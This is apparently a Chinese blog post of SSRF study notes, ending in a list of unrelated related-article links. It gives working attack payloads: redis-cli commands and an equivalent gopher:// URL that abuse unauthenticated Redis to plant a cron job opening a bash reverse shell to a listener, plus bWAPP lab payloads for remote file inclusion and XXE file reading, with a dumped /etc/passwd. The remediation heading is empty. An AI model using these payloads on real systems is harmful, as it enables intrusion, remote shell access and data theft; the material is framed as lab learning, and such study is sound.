自己眼中的SSRF 成因

服务端允许了 可以向其他服务器请求获取一些数据 通过各种协议 http https file等(外网服务器所在的内网进行端口的扫描指纹的识别等)

一SSRF配合redis未授权访问

redis-cli -h $ flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.1.3/2333 0>&1\n\n"|redis-cli -h $ -x set
redis-cli -h $ config set dir /var/spool/cron/
redis-cli -h $ config set dbfilename root
redis-cli -h $ save

利用这个脚本攻击自身并抓包得到数据流:

改成适配于 Gopher 协议的 URL:

gopher://192.168.1.11:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

这时候在192.168.1.3这台服务器

nc -lvv 

1redis要存在未授权访问 看看存不存在

支持dict协议 本地支持file协议

这是源代码  意思是把访问url的内容反映到网页上面

gopher协议

二利用bWAPP学习SSRF

SSRF的3个小实验

bWAPP中的SSRF给出了3个小实验来说明SSRF的利用场景:

任务1:使用远程文件包含进行端口扫描(内网探测)

任务2:使用XXE获取敏感文件中的内容(文件读取)

任务3:使用XXE进行SmartTV的拒绝服务漏洞的利用(漏洞利用)

任务1:使用远程文件包含进行端口扫描

点击任务1中的Port scan可以获得一份端口扫描的攻击脚本:http://192.168.163.157/evil/ssrf-1.txt
接下来就是利用bWAPP中的远程文件包含漏洞,执行端口扫描的脚本。
在Choose your bug中选择Remote & Local File Inclusion (RFI/LFI)security level选择low,然后点击Hack。
观察Get请求中的参数,发现是典型文件包含问题,language=lang_en.php
payload:?language=http://xxx.xxx.xxx/evil/ssrf-1.txt&action=go
POST:ip=xxxx

http://192.168.1.11/bWAPP/rlfi.php
?language=http://192.168.1.11/evil/ssrf-1.txt
&action=go
ip=192.168.1.2

 任务2:使用XXE获取敏感文件中的内容
点击Access获取XXE的利用脚本:10.158.131.81/bWAPP_latest/evil/ssrf-2.txt
然后切换到XXE漏洞利用环境,点击Anybugs?,抓包

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://192.168.1.11/bWAPP/passwords/heroes.xml">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

使用file协议获取bWAPP本机的/etc/passwd的内容。

root:x:::root:/root:/bin/bash
daemon:x:::daemon:/usr/sbin:/bin/sh
bin:x:::bin:/bin:/bin/sh
sys:x:::sys:/dev:/bin/sh
sync:x:::sync:/bin:/bin/sync
games:x:::games:/usr/games:/bin/sh
man:x:::man:/var/cache/man:/bin/sh
lp:x:::lp:/var/spool/lpd:/bin/sh
mail:x:::mail:/var/mail:/bin/sh
news:x:::news:/var/spool/news:/bin/sh
uucp:x:::uucp:/var/spool/uucp:/bin/sh
proxy:x:::proxy:/bin:/bin/sh
www-data:x:::www-data:/var/www:/bin/sh
backup:x:::backup:/var/backups:/bin/sh
list:x:::Mailing List Manager:/var/list:/bin/sh
irc:x:::ircd:/var/run/ircd:/bin/sh
gnats:x:::Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:::nobody:/nonexistent:/bin/sh
libuuid:x::::/var/lib/libuuid:/bin/sh
dhcp:x::::/nonexistent:/bin/false
syslog:x::::/home/syslog:/bin/false
klog:x::::/home/klog:/bin/false
hplip:x:::HPLIP system user,,,:/var/run/hplip:/bin/false
avahi-autoipd:x:::Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
gdm:x:::Gnome Display Manager:/var/lib/gdm:/bin/false
pulse:x:::PulseAudio daemon,,,:/var/run/pulse:/bin/false
messagebus:x::::/var/run/dbus:/bin/false
avahi:x:::Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
polkituser:x:::PolicyKit,,,:/var/run/PolicyKit:/bin/false
haldaemon:x:::Hardware abstraction layer,,,:/var/run/hald:/bin/false
bee:x:::bee,,,:/home/bee:/bin/bash
mysql:x:::MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x::::/var/run/sshd:/usr/sbin/nologin
dovecot:x:::Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
smmta:x:::Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
smmsp:x:::Mail Submission Program,,,:/var/lib/sendmail:/bin/false
neo:x::::/home/neo:/bin/sh
alice:x::::/home/alice:/bin/sh
thor:x::::/home/thor:/bin/sh
wolverine:x::::/home/wolverine:/bin/sh
johnny:x::::/home/johnny:/bin/sh
selene:x::::/home/selene:/bin/sh
postfix:x::::/var/spool/postfix:/bin/false
proftpd:x::::/var/run/proftpd:/bin/false
ftp:x::::/home/ftp:/bin/false
snmp:x::::/var/lib/snmp:/bin/false
ntp:x::::/home/ntp:/bin/false
's secret has been reset!

修复建议

简单的SSRF的学习的更多相关文章

  1. scrapy爬虫学习系列二:scrapy简单爬虫样例学习

    系列文章列表: scrapy爬虫学习系列一:scrapy爬虫环境的准备:      http://www.cnblogs.com/zhaojiedi1992/p/zhaojiedi_python_00 ...

  2. 路由其实也可以很简单-------Asp.net WebAPI学习笔记(一) ASP.NET WebApi技术从入门到实战演练 C#面向服务WebService从入门到精通 DataTable与List<T>相互转换

    路由其实也可以很简单-------Asp.net WebAPI学习笔记(一)   MVC也好,WebAPI也好,据我所知,有部分人是因为复杂的路由,而不想去学的.曾经见过一位程序猿,在他MVC程序中, ...

  3. SSRF深入学习

    爆出来的直接关于SSRF的漏洞有俩,①是weblogic,②是discuzz SSRF漏洞最主要的部分并不是SSRF 探测内网,而是可以写shell,反弹shell,虽然很多厂家把它归为低危漏洞,仔细 ...

  4. TestNG简单介绍以及安装—学习笔记1

    TestNG是什么 到这里,大家肯定已经运行了一些关于Selenium的测试用例了(这里主要是站着一个自动化测试工程师的角度来看待TestNG的,所以这里所说的也都是基于Web测试的验证点来说的,而不 ...

  5. ssrf漏洞学习(PHP)

    自己最近原本是想深入的学习一下关于xss.csrf的东西的,可是感觉这些东西需要有很好的js的基础来进行学习..还有感觉自己感觉也差不多该要学习内网渗透了..正好ssrf在内网这一块也是比较有用的.于 ...

  6. 用c写的简单的日历(学习模块划分)

    简单日历 ​ 主要目的是学习函数模块划分,成品大概是这样,加了一些花里胡哨的东西(/▽\) ​ 分三个模块,主函数.c 显示.c 计算.c 与.h 文件 有两种实现方式,区别在于是否以数组在模块之间传 ...

  7. SSRF漏洞学习

    SSRF SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内 ...

  8. JGUI源码:实现简单MVVM单项绑定学习笔记(15)

    前面几节都是jquery界面方面的东西,本节研究些数据方面的东西:MVVM. MVVM由三部分组成:Model <=> ViewModel <=> View,当Model数据改 ...

  9. 路由其实也可以很简单-------Asp.net WebAPI学习笔记(一)

    MVC也好,WebAPI也好,据我所知,有部分人是因为复杂的路由,而不想去学的.曾经见过一位程序猿,在他MVC程序中,一切皆路由,url中是完全拒绝"?"和“&”.对此,我 ...

随机推荐

  1. java——HashSet类中的常见方法

    package com.xt.set; import java.util.HashSet; import java.util.Iterator; import java.util.Set; publi ...

  2. js判断一个 object 对象是否为空

    方法一:使用for...in for...in... 遍历属性,为真则为“非空数组”:否则为“空数组” for (var i in obj) { return true  // 如果不为空,则会执行到 ...

  3. wpf menuitem 简约显示的 template样式

    <ControlTemplate x:Key="MenuItemControlTemplate1" TargetType="{x:Type MenuItem}&qu ...

  4. vue 登录 + 记住密码 + 密码加密解密

    <template> <el-form :model="ruleForm"> <h3 class="title">系统登录& ...

  5. golang编写二叉树

    最近开始找golang 开发工程师职位,针对算法相关二叉树相关常用面试题搞一遍: package tree import (     "math"     "fmt&qu ...

  6. ie8 下的半透明 background:rgba 与opacity失效 兼容办法

    fliter: filter: progid:DXImageTransform.Microsoft.Alpha(opacity=70);

  7. vue移动端立项

    步骤一:使用vue-cli模板创建新项目:vue init webpack ‘vue-test’ 点击查看 步骤二:引入SCSS npm  install sass-loader -D npm ins ...

  8. C#中UDP(Socket)

    1 使用无连接的套接字,我们能够在自我包含的数据包里发送消息,采用独立的读函数读取消息,读取的消息是使用独立的发送函数发送的.但是UDP数据包不能保证可靠传输,存在许多的因素,比如网络繁忙等等,都有可 ...

  9. php实现雪花算法(ID递增)

    雪花算法简单描述: 最高位是符号位,始终为0,不可用. 41位的时间序列,精确到毫秒级,41位的长度可以使用69年.时间位还有一个很重要的作用是可以根据时间进行排序. 10位的机器标识,10位的长度最 ...

  10. mysql sleep 死锁例子

    表结构 CREATE TABLE `orders` ( `order_id` int(11) NOT NULL, `order_addr` varchar(255) DEFAULT NULL ) EN ...